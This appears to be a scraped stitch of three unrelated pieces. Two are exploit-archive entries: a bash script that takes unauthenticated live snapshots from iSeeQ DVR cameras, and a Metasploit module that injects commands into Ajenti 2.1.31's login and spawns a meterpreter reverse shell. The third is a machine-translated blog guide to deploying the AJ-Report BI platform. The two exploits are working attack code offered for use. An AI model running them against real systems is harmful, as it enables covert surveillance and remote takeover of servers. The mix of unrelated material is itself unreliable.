# iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure
#
#
# Vendor: iSeeQ
# Product web page: http://www.iseeq.co.kr
# Affected version: WH-H4 1.03R / 2.0.0.P
#
# Summary: The 4/8/16 channel hybrid standalone DVR delivers high quality
# pictures which adopts high performance video processing chips and embedded
# Linux system. This advanced video digital platform is very useful to identify
# an object from a long distance.
#
# Desc: The DVR suffers from an unauthenticated and unauthorized live stream
# disclosure when get_jpeg script is called.
#
# Tested on: Boa/0.94.13
#            PHP/7.0.22
#            DVR Web Server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5539
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5539.php
#
#
# 28.10.2019
#


if [ "$#" -ne 2 ]; then
    echo "Usage: $0 IP:PORT CHANNEL"
    exit
fi
IP=$1
CHANNEL=$2
HOST="http://$IP/cgi-bin/get_jpeg?ch=$CHANNEL"
STATUS=$(curl -Is http://$IP/cgi-bin/php/login.php 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [ "$STATUS" == "404" ]; then
    echo "Target not vulnerable!"
    exit
fi
echo "Collecting snapshots..."
for x in {1..10};
    do echo -ne $x
    curl "$HOST" -o seq-$x.jpg -#;
    sleep 0.8
    done
echo -ne "\nDone."
echo -ne "\nRendering video..."
ffmpeg -t 10 -v quiet -s 352x288 -r 1 -an -i seq-%01d.jpg -c:v libx264 -vf fps=10 -pix_fmt yuvj422p clip.mp4
echo " done."
echo -ne "\nRunning animation..."
sleep 1
cvlc clip.mp4 --verbose -1 -f vlc://quit
            
# Exploit Title: Ajenti 2.1.31 - Remote Code Exection (Metasploit)
# Date: 2019-10-29
# Exploit Author: Onur ER
# Vendor Homepage: http://ajenti.org/
# Software Link: https://github.com/ajenti/ajenti
# Version: 2.1.31
# Tested on: Ubuntu 19.10

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name'            => "Ajenti 2.1.31 Remote Code Execution",
                      'Description'     => %q{
                        This module exploits a command injection in Ajenti <= 2.1.31.
                        By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
                      },
                      'Author'          => [
                          'Jeremy Brown', # Vulnerability discovery
                          'Onur ER <onur@onurer.net>' # Metasploit module
                      ],
                      'References'      => [
                          ['EDB', '47497']
                      ],
                      'DisclosureDate'  => '2019-10-14',
                      'License'         => MSF_LICENSE,
                      'Platform'        => 'python',
                      'Arch'            => ARCH_PYTHON,
                      'Privileged'      => false,
                      'Targets'         => [
                          [ 'Ajenti <= 2.1.31', {} ]
                      ],
                      'DefaultOptions'  =>
                          {
                              'RPORT'   => 8000,
                              'SSL'     => 'True',
                              'payload' => 'python/meterpreter/reverse_tcp'
                          },
                      'DefaultTarget'   => 0
          ))
    register_options([
                         OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi({
                               'method' => 'GET',
                               'uri'    => "/view/login/normal"
                           })
    if res and res.code == 200
      if res.body =~ /'ajentiVersion', '2.1.31'/
        return Exploit::CheckCode::Vulnerable
      elsif res.body =~ /Ajenti/
        return Exploit::CheckCode::Detected
      end
    end
    vprint_error("Unable to determine due to a HTTP connection timeout")
    return Exploit::CheckCode::Unknown
  end


  def exploit
    print_status("Exploiting...")
    random_password = rand_text_alpha_lower(7)
    json_body = { 'username' => "`python -c \"#{payload.encoded}\"`",
                  'password' => random_password,
                  'mode' => 'normal'
    }
    res = send_request_cgi({
         'method' => 'POST',
         'uri'    => normalize_uri(target_uri, 'api', 'core', 'auth'),
         'ctype'  => 'application/json',
         'data'   => JSON.generate(json_body)
     })
  end
end
            

Recently, I have a large-screen data visualization project. I have been buying it for several days, and I will write the second installment of the later deployment here. Hope it helps you.

About

AJ-Report is a completely open source BI platform with a cool large screen display, which can control business dynamics anytime and anywhere, so that every decision has data support. Multi-data source support, built-in mysql, elasticsearch, kudu and other drivers, supports custom data sets to eliminate data interface development, currently supports 30+ large-screen components/charts, and can not develop, and large-screens can be made according to the design draft.v3w5q52zukd272.gif

Environmental Construction

Compared with, building an environment is a more troublesome link. Because it depends on more environments.

mysql5.7jdk1.8 (can't be too high) Maven3.5node.js14

After you have built the above environment in your Windows or Linux server, you can deploy it.

Source code deployment (before and after separation)

Although the official release version is available, it is strongly recommended to deploy the source code. Convenient for our secondary development.

Download the project to the local area first

git clone https://gitee.com/anji-plus/report.git Next, open the project with IDEA.i5itoxlxocj273.png The deployment backend clicks File-Settings-Build Tools-Maven to configure.4gedciocfzr274.png File-Project structure select your jdk version. Note: 1.8

Modify the database configuration file and modify the database information in the three files of bootstrap.yml dev.yml prod.yml in the backend file report-core file.t2jxgkgnkif275.png After the startup backend modification is completed, start report application 2xymcyp2nxa276.png 启动

Next, we start the front-end and start the front-end and click on the terminal, enter the following command

cd report-ui

npm config set registry https://registry.npm.taobao.org

npm install: #Dependency packages required for installing the front-end

npm run dev: #Run frontend

w03efdiykoc278.png

Enter the default account admin 123456 to log in yexbabjjq3f279.png

Start your big screen journey now!dmi4kv0mbyr280.png

Data

For large-screen data, static data and dynamic data are supported. In the following articles, we will talk about specific usage and development.